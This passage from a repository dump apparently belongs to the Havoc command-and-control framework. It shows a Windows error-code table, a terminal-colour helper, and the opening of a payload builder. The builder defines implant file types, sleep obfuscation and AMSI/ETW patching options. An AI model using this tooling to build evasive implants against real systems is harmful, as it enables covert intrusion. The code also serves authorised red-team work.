\"ERROR_VERSION_PARSE_ERROR\",\n\t778:  \"ERROR_BADSTARTPOSITION\",\n\t779:  \"ERROR_MEMORY_HARDWARE\",\n\t780:  \"ERROR_DISK_REPAIR_DISABLED\",\n\t781:  \"ERROR_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE\",\n\t782:  \"ERROR_SYSTEM_POWERSTATE_TRANSITION\",\n\t783:  \"ERROR_SYSTEM_POWERSTATE_COMPLEX_TRANSITION\",\n\t784:  \"ERROR_MCA_EXCEPTION\",\n\t785:  \"ERROR_ACCESS_AUDIT_BY_POLICY\",\n\t786:  \"ERROR_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY\",\n\t787:  \"ERROR_ABANDON_HIBERFILE\",\n\t788:  \"ERROR_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED\",\n\t789:  \"ERROR_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR\",\n\t790:  \"ERROR_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR\",\n\t791:  \"ERROR_BAD_MCFG_TABLE\",\n\t994:  \"ERROR_EA_ACCESS_DENIED\",\n\t995:  \"ERROR_OPERATION_ABORTED\",\n\t996:  \"ERROR_IO_INCOMPLETE\",\n\t997:  \"ERROR_IO_PENDING\",\n\t998:  \"ERROR_NOACCESS\",\n\t999:  \"ERROR_SWAPERROR\",\n\t1001: \"ERROR_STACK_OVERFLOW\",\n\t1002: \"ERROR_INVALID_MESSAGE\",\n\t1003: \"ERROR_CAN_NOT_COMPLETE\",\n\t1004: \"ERROR_INVALID_FLAGS\",\n\t1005: \"ERROR_UNRECOGNIZED_VOLUME\",\n\t1006: \"ERROR_FILE_INVALID\",\n\t1007: \"ERROR_FULLSCREEN_MODE\",\n\t1008: \"ERROR_NO_TOKEN\",\n\t1009: \"ERROR_BADDB\",\n\t1010: \"ERROR_BADKEY\",\n\t1011: \"ERROR_CANTOPEN\",\n\t1012: \"ERROR_CANTREAD\",\n\t1013: \"ERROR_CANTWRITE\",\n\t1014: \"ERROR_REGISTRY_RECOVERED\",\n\t1015: \"ERROR_REGISTRY_CORRUPT\",\n\t1016: \"ERROR_REGISTRY_IO_FAILED\",\n\t1017: \"ERROR_NOT_REGISTRY_FILE\",\n\t1018: \"ERROR_KEY_DELETED\",\n\t1019: \"ERROR_NO_LOG_SPACE\",\n\t1020: \"ERROR_KEY_HAS_CHILDREN\",\n\t1021: \"ERROR_CHILD_MUST_BE_VOLATILE\",\n\t1022: \"ERROR_NOTIFY_ENUM_DIR\",\n\t1051: \"ERROR_DEPENDENT_SERVICES_RUNNING\",\n\t1052: \"ERROR_INVALID_SERVICE_CONTROL\",\n\t1053: \"ERROR_SERVICE_REQUEST_TIMEOUT\",\n\t1054: \"ERROR_SERVICE_NO_THREAD\",\n\t1055: \"ERROR_SERVICE_DATABASE_LOCKED\",\n\t1056: \"ERROR_SERVICE_ALREADY_RUNNING\",\n\t1057: \"ERROR_INVALID_SERVICE_ACCOUNT\",\n\t1058: \"ERROR_SERVICE_DISABLED\",\n\t1059: \"ERROR_CIRCULAR_DEPENDENCY\",\n\t1060: \"ERROR_SERVICE_DOES_NOT_EXIST\",\n\t1061: \"ERROR_SERVICE_CANNOT_ACCEPT_CTRL\",\n\t1062: \"ERROR_SERVICE_NOT_ACTIVE\",\n\t1063: \"ERROR_FAILED_SERVICE_CONTROLLER_CONNECT\",\n\t1064: \"ERROR_EXCEPTION_IN_SERVICE\",\n\t1065: \"ERROR_DATABASE_DOES_NOT_EXIST\",\n\t1066: \"ERROR_SERVICE_SPECIFIC_ERROR\",\n\t1067: \"ERROR_PROCESS_ABORTED\",\n\t1068: \"ERROR_SERVICE_DEPENDENCY_FAIL\",\n\t1069: \"ERROR_SERVICE_LOGON_FAILED\",\n\t1070: \"ERROR_SERVICE_START_HANG\",\n\t1071: \"ERROR_INVALID_SERVICE_LOCK\",\n\t1072: \"ERROR_SERVICE_MARKED_FOR_DELETE\",\n\t1073: \"ERROR_SERVICE_EXISTS\",\n\t1074: \"ERROR_ALREADY_RUNNING_LKG\",\n\t1075: \"ERROR_SERVICE_DEPENDENCY_DELETED\",\n\t1076: \"ERROR_BOOT_ALREADY_ACCEPTED\",\n\t1077: \"ERROR_SERVICE_NEVER_STARTED\",\n\t1078: \"ERROR_DUPLICATE_SERVICE_NAME\",\n\t1079: \"ERROR_DIFFERENT_SERVICE_ACCOUNT\",\n\t1080: \"ERROR_CANNOT_DETECT_DRIVER_FAILURE\",\n\t1081: \"ERROR_CANNOT_DETECT_PROCESS_ABORT\",\n\t1082: \"ERROR_NO_RECOVERY_PROGRAM\",\n\t1083: \"ERROR_SERVICE_NOT_IN_EXE\",\n\t1084: \"ERROR_NOT_SAFEBOOT_SERVICE\",\n\t1100: \"ERROR_END_OF_MEDIA\",\n\t1101: \"ERROR_FILEMARK_DETECTED\",\n\t1102: \"ERROR_BEGINNING_OF_MEDIA\",\n\t1103: \"ERROR_SETMARK_DETECTED\",\n\t1104: \"ERROR_NO_DATA_DETECTED\",\n\t1105: \"ERROR_PARTITION_FAILURE\",\n\t1106: \"ERROR_INVALID_BLOCK_LENGTH\",\n\t1107: \"ERROR_DEVICE_NOT_PARTITIONED\",\n\t1108: \"ERROR_UNABLE_TO_LOCK_MEDIA\",\n\t1109: \"ERROR_UNABLE_TO_UNLOAD_MEDIA\",\n\t1110: \"ERROR_MEDIA_CHANGED\",\n\t1111: \"ERROR_BUS_RESET\",\n\t1112: \"ERROR_NO_MEDIA_IN_DRIVE\",\n\t1113: \"ERROR_NO_UNICODE_TRANSLATION\",\n\t1114: \"ERROR_DLL_INIT_FAILED\",\n\t1115: \"ERROR_SHUTDOWN_IN_PROGRESS\",\n\t1116: \"ERROR_NO_SHUTDOWN_IN_PROGRESS\",\n\t1117: \"ERROR_IO_DEVICE\",\n\t1118: \"ERROR_SERIAL_NO_DEVICE\",\n\t1119: \"ERROR_IRQ_BUSY\",\n\t1120: \"ERROR_MORE_WRITES\",\n\t1121: \"ERROR_COUNTER_TIMEOUT\",\n\t1122: \"ERROR_FLOPPY_ID_MARK_NOT_FOUND\",\n\t1123: \"ERROR_FLOPPY_WRONG_CYLINDER\",\n\t1124: \"ERROR_FLOPPY_UNKNOWN_ERROR\",\n\t1125: \"ERROR_FLOPPY_BAD_REGISTERS\",\n\t1126: \"ERROR_DISK_RECALIBRATE_FAILED\",\n\t1127: \"ERROR_DISK_OPERATION_FAILED\",\n\t1128: \"ERROR_DISK_RESET_FAILED\",\n\t1129: \"ERROR_EOM_OVERFLOW\",\n\t1130: \"ERROR_NOT_ENOUGH_SERVER_MEMORY\",\n\t1131: \"ERROR_POSSIBLE_DEADLOCK\",\n\t1132: \"ERROR_MAPPED_ALIGNMENT\",\n\t1140: \"ERROR_SET_POWER_STATE_VETOED\",\n\t1141: \"ERROR_SET_POWER_STATE_FAILED\",\n\t1142: \"ERROR_TOO_MANY_LINKS\",\n\t1150: \"ERROR_OLD_WIN_VERSION\",\n\t1151: \"ERROR_APP_WRONG_OS\",\n\t1152: \"ERROR_SINGLE_INSTANCE_APP\",\n\t1153: \"ERROR_RMODE_APP\",\n\t1154: \"ERROR_INVALID_DLL\",\n\t1155: \"ERROR_NO_ASSOCIATION\",\n\t1156: \"ERROR_DDE_FAIL\",\n\t1157: \"ERROR_DLL_NOT_FOUND\",\n\t1158: \"ERROR_NO_MORE_USER_HANDLES\",\n\t1159: \"ERROR_MESSAGE_SYNC_ONLY\",\n\t1160: \"ERROR_SOURCE_ELEMENT_EMPTY\",\n\t1161: \"ERROR_DESTINATION_ELEMENT_FULL\",\n\t1162: \"ERROR_ILLEGAL_ELEMENT_ADDRESS\",\n\t1163: \"ERROR_MAGAZINE_NOT_PRESENT\",\n\t1164: \"ERROR_DEVICE_REINITIALIZATION_NEEDED\",\n\t1165: \"ERROR_DEVICE_REQUIRES_CLEANING\",\n\t1166: \"ERROR_DEVICE_DOOR_OPEN\",\n\t1167: \"ERROR_DEVICE_NOT_CONNECTED\",\n\t1168: \"ERROR_NOT_FOUND\",\n\t1169: \"ERROR_NO_MATCH\",\n\t1170: \"ERROR_SET_NOT_FOUND\",\n\t1171: \"ERROR_POINT_NOT_FOUND\",\n\t1172: \"ERROR_NO_TRACKING_SERVICE\",\n\t1173: \"ERROR_NO_VOLUME_ID\",\n\t2108: \"ERROR_CONNECTED_OTHER_PASSWORD\",\n\t2202: \"ERROR_BAD_USERNAME\",\n\t2250: \"ERROR_NOT_CONNECTED\",\n\t2401: \"ERROR_OPEN_FILES\",\n\t2402: \"ERROR_ACTIVE_CONNECTIONS\",\n\t2404: \"ERROR_DEVICE_IN_USE\",\n\t1200: \"ERROR_BAD_DEVICE\",\n\t1201: \"ERROR_CONNECTION_UNAVAIL\",\n\t1202: \"ERROR_DEVICE_ALREADY_REMEMBERED\",\n\t1203: \"ERROR_NO_NET_OR_BAD_PATH\",\n\t1204: \"ERROR_BAD_PROVIDER\",\n\t1205: \"ERROR_CANNOT_OPEN_PROFILE\",\n\t1206: \"ERROR_BAD_PROFILE\",\n\t1207: \"ERROR_NOT_CONTAINER\",\n\t1208: \"ERROR_EXTENDED_ERROR\",\n\t1209: \"ERROR_INVALID_GROUPNAME\",\n\t1210: \"ERROR_INVALID_COMPUTERNAME\",\n\t1211: \"ERROR_INVALID_EVENTNAME\",\n\t1212: \"ERROR_INVALID_DOMAINNAME\",\n\t1213: \"ERROR_INVALID_SERVICENAME\",\n\t1214: \"ERROR_INVALID_NETNAME\",\n\t1215: \"ERROR_INVALID_SHARENAME\",\n\t1216: \"ERROR_INVALID_PASSWORDNAME\",\n\t1217: \"ERROR_INVALID_MESSAGENAME\",\n\t1218: \"ERROR_INVALID_MESSAGEDEST\",\n\t1219: \"ERROR_SESSION_CREDENTIAL_CONFLICT\",\n\t1220: \"ERROR_REMOTE_SESSION_LIMIT_EXCEEDED\",\n\t1221: \"ERROR_DUP_DOMAINNAME\",\n\t1222: \"ERROR_NO_NETWORK\",\n\t1223: \"ERROR_CANCELLED\",\n\t1224: \"ERROR_USER_MAPPED_FILE\",\n\t1225: \"ERROR_CONNECTION_REFUSED\",\n\t1226: \"ERROR_GRACEFUL_DISCONNECT\",\n\t1227: \"ERROR_ADDRESS_ALREADY_ASSOCIATED\",\n\t1228: \"ERROR_ADDRESS_NOT_ASSOCIATED\",\n\t1229: \"ERROR_CONNECTION_INVALID\",\n\t1230: \"ERROR_CONNECTION_ACTIVE\",\n\t1231: \"ERROR_NETWORK_UNREACHABLE\",\n\t1232: \"ERROR_HOST_UNREACHABLE\",\n\t1233: \"ERROR_PROTOCOL_UNREACHABLE\",\n\t1234: \"ERROR_PORT_UNREACHABLE\",\n\t1235: \"ERROR_REQUEST_ABORTED\",\n\t1236: \"ERROR_CONNECTION_ABORTED\",\n\t1237: \"ERROR_RETRY\",\n\t1238: \"ERROR_CONNECTION_COUNT_LIMIT\",\n\t1239: \"ERROR_LOGIN_TIME_RESTRICTION\",\n\t1240: \"ERROR_LOGIN_WKSTA_RESTRICTION\",\n\t1241: \"ERROR_INCORRECT_ADDRESS\",\n\t1242: \"ERROR_ALREADY_REGISTERED\",\n\t1243: \"ERROR_SERVICE_NOT_FOUND\",\n\t1244: \"ERROR_NOT_AUTHENTICATED\",\n\t1245: \"ERROR_NOT_LOGGED_ON\",\n\t1246: \"ERROR_CONTINUE\",\n\t1247: \"ERROR_ALREADY_INITIALIZED\",\n\t1248: \"ERROR_NO_MORE_DEVICES\",\n\t1249: \"ERROR_NO_SUCH_SITE\",\n\t1250: \"ERROR_DOMAIN_CONTROLLER_EXISTS\",\n\t1251: \"ERROR_DS_NOT_INSTALLED\",\n\t1300: \"ERROR_NOT_ALL_ASSIGNED\",\n\t1301: \"ERROR_SOME_NOT_MAPPED\",\n\t1302: \"ERROR_NO_QUOTAS_FOR_ACCOUNT\",\n\t1303: \"ERROR_LOCAL_USER_SESSION_KEY\",\n\t1304: \"ERROR_NULL_LM_PASSWORD\",\n\t1305: \"ERROR_UNKNOWN_REVISION\",\n\t1306: \"ERROR_REVISION_MISMATCH\",\n\t1307: \"ERROR_INVALID_OWNER\",\n\t1308: \"ERROR_INVALID_PRIMARY_GROUP\",\n\t1309: \"ERROR_NO_IMPERSONATION_TOKEN\",\n\t1310: \"ERROR_CANT_DISABLE_MANDATORY\",\n\t1311: \"ERROR_NO_LOGON_SERVERS\",\n\t1312: \"ERROR_NO_SUCH_LOGON_SESSION\",\n\t1313: \"ERROR_NO_SUCH_PRIVILEGE\",\n\t1314: \"ERROR_PRIVILEGE_NOT_HELD\",\n\t1315: \"ERROR_INVALID_ACCOUNT_NAME\",\n\t1316: \"ERROR_USER_EXISTS\",\n\t1317: \"ERROR_NO_SUCH_USER\",\n\t1318: \"ERROR_GROUP_EXISTS\",\n\t1319: \"ERROR_NO_SUCH_GROUP\",\n\t1320: \"ERROR_MEMBER_IN_GROUP\",\n\t1321: \"ERROR_MEMBER_NOT_IN_GROUP\",\n\t1322: \"ERROR_LAST_ADMIN\",\n\t1323: \"ERROR_WRONG_PASSWORD\",\n\t1324: \"ERROR_ILL_FORMED_PASSWORD\",\n\t1325: \"ERROR_PASSWORD_RESTRICTION\",\n\t1326: \"ERROR_LOGON_FAILURE\",\n\t1327: \"ERROR_ACCOUNT_RESTRICTION\",\n\t1328: \"ERROR_INVALID_LOGON_HOURS\",\n\t1329: \"ERROR_INVALID_WORKSTATION\",\n\t1330: \"ERROR_PASSWORD_EXPIRED\",\n\t1331: \"ERROR_ACCOUNT_DISABLED\",\n\t1332: \"ERROR_NONE_MAPPED\",\n\t1333: \"ERROR_TOO_MANY_LUIDS_REQUESTED\",\n\t1334: \"ERROR_LUIDS_EXHAUSTED\",\n\t1335: \"ERROR_INVALID_SUB_AUTHORITY\",\n\t1336: \"ERROR_INVALID_ACL\",\n\t1337: \"ERROR_INVALID_SID\",\n\t1338: \"ERROR_INVALID_SECURITY_DESCR\",\n\t1340: \"ERROR_BAD_INHERITANCE_ACL\",\n\t1341: \"ERROR_SERVER_DISABLED\",\n\t1342: \"ERROR_SERVER_NOT_DISABLED\",\n\t1343: \"ERROR_INVALID_ID_AUTHORITY\",\n\t1344: \"ERROR_ALLOTTED_SPACE_EXCEEDED\",\n\t1345: \"ERROR_INVALID_GROUP_ATTRIBUTES\",\n\t1346: \"ERROR_BAD_IMPERSONATION_LEVEL\",\n\t1347: \"ERROR_CANT_OPEN_ANONYMOUS\",\n\t1348: \"ERROR_BAD_VALIDATION_CLASS\",\n\t1349: \"ERROR_BAD_TOKEN_TYPE\",\n\t1350: \"ERROR_NO_SECURITY_ON_OBJECT\",\n\t1351: \"ERROR_CANT_ACCESS_DOMAIN_INFO\",\n\t1352: \"ERROR_INVALID_SERVER_STATE\",\n\t1353: \"ERROR_INVALID_DOMAIN_STATE\",\n\t1354: \"ERROR_INVALID_DOMAIN_ROLE\",\n\t1355: \"ERROR_NO_SUCH_DOMAIN\",\n\t1356: \"ERROR_DOMAIN_EXISTS\",\n\t1357: \"ERROR_DOMAIN_LIMIT_EXCEEDED\",\n\t1358: \"ERROR_INTERNAL_DB_CORRUPTION\",\n\t1359: \"ERROR_INTERNAL_ERROR\",\n\t1360: \"ERROR_GENERIC_NOT_MAPPED\",\n\t1361: \"ERROR_BAD_DESCRIPTOR_FORMAT\",\n\t1362: \"ERROR_NOT_LOGON_PROCESS\",\n\t1363: \"ERROR_LOGON_SESSION_EXISTS\",\n\t1364: \"ERROR_NO_SUCH_PACKAGE\",\n\t1365: \"ERROR_BAD_LOGON_SESSION_STATE\",\n\t1366: \"ERROR_LOGON_SESSION_COLLISION\",\n\t1367: \"ERROR_INVALID_LOGON_TYPE\",\n\t1368: \"ERROR_CANNOT_IMPERSONATE\",\n\t1369: \"ERROR_RXACT_INVALID_STATE\",\n\t1370: \"ERROR_RXACT_COMMIT_FAILURE\",\n\t1371: \"ERROR_SPECIAL_ACCOUNT\",\n\t1372: \"ERROR_SPECIAL_GROUP\",\n\t1373: \"ERROR_SPECIAL_USER\",\n\t1374: \"ERROR_MEMBERS_PRIMARY_GROUP\",\n\t1375: \"ERROR_TOKEN_ALREADY_IN_USE\",\n\t1376: \"ERROR_NO_SUCH_ALIAS\",\n\t1377: \"ERROR_MEMBER_NOT_IN_ALIAS\",\n\t1378: \"ERROR_MEMBER_IN_ALIAS\",\n\t1379: \"ERROR_ALIAS_EXISTS\",\n\t1380: \"ERROR_LOGON_NOT_GRANTED\",\n\t1381: \"ERROR_TOO_MANY_SECRETS\",\n\t1382: \"ERROR_SECRET_TOO_LONG\",\n\t1383: \"ERROR_INTERNAL_DB_ERROR\",\n\t1384: \"ERROR_TOO_MANY_CONTEXT_IDS\",\n\t1385: \"ERROR_LOGON_TYPE_NOT_GRANTED\",\n\t1386: \"ERROR_NT_CROSS_ENCRYPTION_REQUIRED\",\n\t1387: \"ERROR_NO_SUCH_MEMBER\",\n\t1388: \"ERROR_INVALID_MEMBER\",\n\t1389: \"ERROR_TOO_MANY_SIDS\",\n\t1390: \"ERROR_LM_CROSS_ENCRYPTION_REQUIRED\",\n\t1391: \"ERROR_NO_INHERITANCE\",\n\t1392: \"ERROR_FILE_CORRUPT\",\n\t1393: \"ERROR_DISK_CORRUPT\",\n\t1394: \"ERROR_NO_USER_SESSION_KEY\",\n\t1395: \"ERROR_LICENSE_QUOTA_EXCEEDED\",\n\t1400: \"ERROR_INVALID_WINDOW_HANDLE\",\n\t1401: \"ERROR_INVALID_MENU_HANDLE\",\n\t1402: \"ERROR_INVALID_CURSOR_HANDLE\",\n\t1403: \"ERROR_INVALID_ACCEL_HANDLE\",\n\t1404: \"ERROR_INVALID_HOOK_HANDLE\",\n\t1405: \"ERROR_INVALID_DWP_HANDLE\",\n\t1406: \"ERROR_TLW_WITH_WSCHILD\",\n\t1407: \"ERROR_CANNOT_FIND_WND_CLASS\",\n\t1408: \"ERROR_WINDOW_OF_OTHER_THREAD\",\n\t1409: \"ERROR_HOTKEY_ALREADY_REGISTERED\",\n\t1410: \"ERROR_CLASS_ALREADY_EXISTS\",\n\t1411: \"ERROR_CLASS_DOES_NOT_EXIST\",\n\t1412: \"ERROR_CLASS_HAS_WINDOWS\",\n\t1413: \"ERROR_INVALID_INDEX\",\n\t1414: \"ERROR_INVALID_ICON_HANDLE\",\n\t1415: \"ERROR_PRIVATE_DIALOG_INDEX\",\n\t1416: \"ERROR_LISTBOX_ID_NOT_FOUND\",\n\t1417: \"ERROR_NO_WILDCARD_CHARACTERS\",\n\t1418: \"ERROR_CLIPBOARD_NOT_OPEN\",\n\t1419: \"ERROR_HOTKEY_NOT_REGISTERED\",\n\t1420: \"ERROR_WINDOW_NOT_DIALOG\",\n\t1421: \"ERROR_CONTROL_ID_NOT_FOUND\",\n\t1422: \"ERROR_INVALID_COMBOBOX_MESSAGE\",\n\t1423: \"ERROR_WINDOW_NOT_COMBOBOX\",\n\t1424: \"ERROR_INVALID_EDIT_HEIGHT\",\n\t1425: \"ERROR_DC_NOT_FOUND\",\n\t1426: \"ERROR_INVALID_HOOK_FILTER\",\n\t1427: \"ERROR_INVALID_FILTER_PROC\",\n\t1428: \"ERROR_HOOK_NEEDS_HMOD\",\n\t1429: \"ERROR_GLOBAL_ONLY_HOOK\",\n\t1430: \"ERROR_JOURNAL_HOOK_SET\",\n\t1431: \"ERROR_HOOK_NOT_INSTALLED\",\n\t1432: \"ERROR_INVALID_LB_MESSAGE\",\n\t1433: \"ERROR_SETCOUNT_ON_BAD_LB\",\n\t1434: \"ERROR_LB_WITHOUT_TABSTOPS\",\n\t1435: \"ERROR_DESTROY_OBJECT_OF_OTHER_THREAD\",\n\t1436: \"ERROR_CHILD_WINDOW_MENU\",\n\t1437: \"ERROR_NO_SYSTEM_MENU\",\n\t1438: \"ERROR_INVALID_MSGBOX_STYLE\",\n\t1439: \"ERROR_INVALID_SPI_VALUE\",\n\t1440: \"ERROR_SCREEN_ALREADY_LOCKED\",\n\t1441: \"ERROR_HWNDS_HAVE_DIFF_PARENT\",\n\t1442: \"ERROR_NOT_CHILD_WINDOW\",\n\t1443: \"ERROR_INVALID_GW_COMMAND\",\n\t1444: \"ERROR_INVALID_THREAD_ID\",\n\t1445: \"ERROR_NON_MDICHILD_WINDOW\",\n\t1446: \"ERROR_POPUP_ALREADY_ACTIVE\",\n\t1447: \"ERROR_NO_SCROLLBARS\",\n\t1448: \"ERROR_INVALID_SCROLLBAR_RANGE\",\n\t1449: \"ERROR_INVALID_SHOWWIN_COMMAND\",\n\t1450: \"ERROR_NO_SYSTEM_RESOURCES\",\n\t1451: \"ERROR_NONPAGED_SYSTEM_RESOURCES\",\n\t1452: \"ERROR_PAGED_SYSTEM_RESOURCES\",\n\t1453: \"ERROR_WORKING_SET_QUOTA\",\n\t1454: \"ERROR_PAGEFILE_QUOTA\",\n\t1455: \"ERROR_COMMITMENT_LIMIT\",\n\t1456: \"ERROR_MENU_ITEM_NOT_FOUND\",\n\t1457: \"ERROR_INVALID_KEYBOARD_HANDLE\",\n\t1458: \"ERROR_HOOK_TYPE_NOT_ALLOWED\",\n\t1459: \"ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION\",\n\t1460: \"ERROR_TIMEOUT\",\n\t1461: \"ERROR_INVALID_MONITOR_HANDLE\",\n\t1462: \"ERROR_INCORRECT_SIZE\",\n\t1463: \"ERROR_SYMLINK_CLASS_DISABLED\",\n\t1464: \"ERROR_SYMLINK_NOT_SUPPORTED\",\n\t1465: \"ERROR_XML_PARSE_ERROR\",\n\t1466: \"ERROR_XMLDSIG_ERROR\",\n\t1467: \"ERROR_RESTART_APPLICATION\",\n\t1468: \"ERROR_WRONG_COMPARTMENT\",\n\t1469: \"ERROR_AUTHIP_FAILURE\",\n\t1500: \"ERROR_EVENTLOG_FILE_CORRUPT\",\n\t1501: \"ERROR_EVENTLOG_CANT_START\",\n\t1502: \"ERROR_LOG_FILE_FULL\",\n\t1503: \"ERROR_EVENTLOG_FILE_CHANGED\",\n\t1601: \"ERROR_INSTALL_SERVICE\",\n\t1602: \"ERROR_INSTALL_USEREXIT\",\n\t1603: \"ERROR_INSTALL_FAILURE\",\n\t1604: \"ERROR_INSTALL_SUSPEND\",\n\t1605: \"ERROR_UNKNOWN_PRODUCT\",\n\t1606: \"ERROR_UNKNOWN_FEATURE\",\n\t1607: \"ERROR_UNKNOWN_COMPONENT\",\n\t1608: \"ERROR_UNKNOWN_PROPERTY\",\n\t1609: \"ERROR_INVALID_HANDLE_STATE\",\n\t1610: \"ERROR_BAD_CONFIGURATION\",\n\t1611: \"ERROR_INDEX_ABSENT\",\n\t1612: \"ERROR_INSTALL_SOURCE_ABSENT\",\n\t1613: \"ERROR_BAD_DATABASE_VERSION\",\n\t1614: \"ERROR_PRODUCT_UNINSTALLED\",\n\t1615: \"ERROR_BAD_QUERY_SYNTAX\",\n\t1616: \"ERROR_INVALID_FIELD\",\n\t1617: \"ERROR_DEVICE_REMOVED\",\n\t1618: \"ERROR_INSTALL_ALREADY_RUNNING\",\n\t1619: \"ERROR_INSTALL_PACKAGE_OPEN_FAILED\",\n\t1620: \"ERROR_INSTALL_PACKAGE_INVALID\",\n\t1621: \"ERROR_INSTALL_UI_FAILURE\",\n\t1622: \"ERROR_INSTALL_LOG_FAILURE\",\n\t1623: \"ERROR_INSTALL_LANGUAGE_UNSUPPORTED\",\n\t1624: \"ERROR_INSTALL_TRANSFORM_FAILURE\",\n\t1625: \"ERROR_INSTALL_PACKAGE_REJECTED\",\n\t1626: \"ERROR_FUNCTION_NOT_CALLED\",\n\t1627: \"ERROR_FUNCTION_FAILED\",\n\t1628: \"ERROR_INVALID_TABLE\",\n\t1629: \"ERROR_DATATYPE_MISMATCH\",\n\t1630: \"ERROR_UNSUPPORTED_TYPE\",\n\t1631: \"ERROR_CREATE_FAILED\",\n\t1632: \"ERROR_INSTALL_TEMP_UNWRITABLE\",\n\t1633: \"ERROR_INSTALL_PLATFORM_UNSUPPORTED\",\n\t1634: \"ERROR_INSTALL_NOTUSED\",\n\t1635: \"ERROR_PATCH_PACKAGE_OPEN_FAILED\",\n\t1636: \"ERROR_PATCH_PACKAGE_INVALID\",\n\t1637: \"ERROR_PATCH_PACKAGE_UNSUPPORTED\",\n\t1638: \"ERROR_PRODUCT_VERSION\",\n\t1639: \"ERROR_INVALID_COMMAND_LINE\",\n\t1640: \"ERROR_INSTALL_REMOTE_DISALLOWED\",\n\t1641: \"ERROR_SUCCESS_REBOOT_INITIATED\",\n\t1642: \"ERROR_PATCH_TARGET_NOT_FOUND\",\n\t1643: \"ERROR_PATCH_PACKAGE_REJECTED\",\n\t1644: \"ERROR_INSTALL_TRANSFORM_REJECTED\",\n\t1645: \"ERROR_INSTALL_REMOTE_PROHIBITED\",\n\t1646: \"ERROR_PATCH_REMOVAL_UNSUPPORTED\",\n\t1647: \"ERROR_UNKNOWN_PATCH\",\n\t1648: \"ERROR_PATCH_NO_SEQUENCE\",\n\t1649: \"ERROR_PATCH_REMOVAL_DISALLOWED\",\n\t1650: \"ERROR_INVALID_PATCH_XML\",\n\t1651: \"ERROR_PATCH_MANAGED_ADVERTISED_PRODUCT\",\n\t1652: \"ERROR_INSTALL_SERVICE_SAFEBOOT\",\n}\n"
  },
  {
    "path": "teamserver/pkg/colors/colors.go",
    "content": "package colors\n\nimport \"github.com/fatih/color\"\n\nvar (\n\tBlue   = color.New(color.FgBlue).SprintFunc()\n\tRed    = color.New(color.FgRed).SprintFunc()\n\tGreen  = color.New(color.FgGreen).SprintFunc()\n\tYellow = color.New(color.FgYellow).SprintFunc()\n\tWhite  = color.New(color.FgHiWhite).SprintFunc()\n\n\tBoldBlue   = color.New(color.FgBlue, color.Bold).SprintFunc()\n\tBoldRed    = color.New(color.FgRed, color.Bold).SprintFunc()\n\tBoldGreen  = color.New(color.FgGreen, color.Bold).SprintFunc()\n\tBoldYellow = color.New(color.FgYellow, color.Bold).SprintFunc()\n\tBoldWhite  = color.New(color.FgHiWhite, color.Bold).SprintFunc()\n\n\tRedUnderline    = color.New(color.FgRed).Add(color.Underline).SprintFunc()\n\tBlueUnderline   = color.New(color.FgBlue).Add(color.Underline).SprintFunc()\n\tGreenUnderline  = color.New(color.FgGreen).Add(color.Underline).SprintFunc()\n\tYellowUnderline = color.New(color.FgYellow).Add(color.Underline).SprintFunc()\n\tWhiteUnderline  = color.New(color.FgHiWhite).Add(color.Underline).SprintFunc()\n)\n"
  },
  {
    "path": "teamserver/pkg/common/builder/builder.go",
    "content": "package builder\n\nimport (\n\t\"bytes\"\n\t//\"encoding/hex\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"Havoc/pkg/common\"\n\t\"Havoc/pkg/common/packer\"\n\t\"Havoc/pkg/handlers\"\n\t\"Havoc/pkg/logger\"\n\t\"Havoc/pkg/profile\"\n\t\"Havoc/pkg/utils\"\n\t\"Havoc/pkg/win32\"\n)\n\n// TODO: move to agent package\nconst (\n\tPayloadDir  = \"payloads\"\n\tPayloadName = \"demon\"\n)\n\nconst (\n\tFILETYPE_WINDOWS_EXE            = 1\n\tFILETYPE_WINDOWS_SERVICE_EXE    = 2\n\tFILETYPE_WINDOWS_DLL            = 3\n\tFILETYPE_WINDOWS_REFLECTIVE_DLL = 4\n\tFILETYPE_WINDOWS_RAW_BINARY     = 5\n)\n\nconst (\n\tSLEEPOBF_NO_OBF  = 0\n\tSLEEPOBF_EKKO    = 1\n\tSLEEPOBF_ZILEAN  = 2\n\tSLEEPOBF_FOLIAGE = 3\n)\n\nconst (\n\tSLEEPOBF_BYPASS_NONE   = 0\n\tSLEEPOBF_BYPASS_JMPRAX = 1\n\tSLEEPOBF_BYPASS_JMPRBX = 2\n)\n\nconst (\n\tPROXYLOADING_NONE             = 0\n\tPROXYLOADING_RTLREGISTERWAIT  = 1\n\tPROXYLOADING_RTLCREATETIMER   = 2\n\tPROXYLOADING_RTLQUEUEWORKITEM = 3\n)\n\nconst (\n\tAMSIETW_PATCH_NONE   = 0\n\tAMSIETW_PATCH_HWBP   = 1\n\tAMSIETW_PATCH_MEMORY = 2\n)\n\nconst (\n\tARCHITECTURE_X64 = 1\n\tARCHITECTURE_X86 = 2\n)\n\ntype BuilderConfig struct {\n\tCompiler64 string\n\tCompiler86 string\n\tNasm       string\n\tDebugDev   bool\n\tSendLogs   bool\n}\n\ntype Builder struct {\n\tbuildSource bool\n\tsourcePath  string\n\tsilent      bool\n\n\tPayloads []string\n\n\tFilesCreated []string\n\n\tCompileDir     string\n\tFileExtenstion string\n\n\tFileType int\n\tClientId string\n\n\tPatchBinary bool\n\n\tProfileConfig struct {\n\t\tOriginal any\n\n\t\tMagicMzX64 string\n\t\tMagicMzX86 string\n\n\t\tImageSizeX64 int\n\t\tImageSizeX86 int\n\n\t\tReplaceStringsX64 map[string]string\n\t\tReplaceStringsX86 map[string]string\n\t}\n\n\tconfig struct {\n\t\tArch           int\n\t\tListenerType   int\n\t\tListenerConfig any\n\t\tConfig         map[string]any\n\t}\n\n\tImplantOptions struct {\n\t\tConfig []byte\n\t}\n\n\tcompilerOptions struct {\n\t\tConfig BuilderConfig\n\n\t\tSourceDirs  []string\n\t\tIncludeDirs []string\n\t\tCFlags      []string\n\t\tDefines     []string\n\n\t\tMain struct {\n\t\t\tDemon string\n\t\t\tDll   string\n\t\t\tExe   string\n\t\t\tSvc   string\n\t\t}\n\t}\n\n\toutputPath string\n\tpreBytes   []byte\n\n\tSendConsoleMessage func(MsgType, Message string)\n}\n\nfunc NewBuilder(config BuilderConfig) *Builder 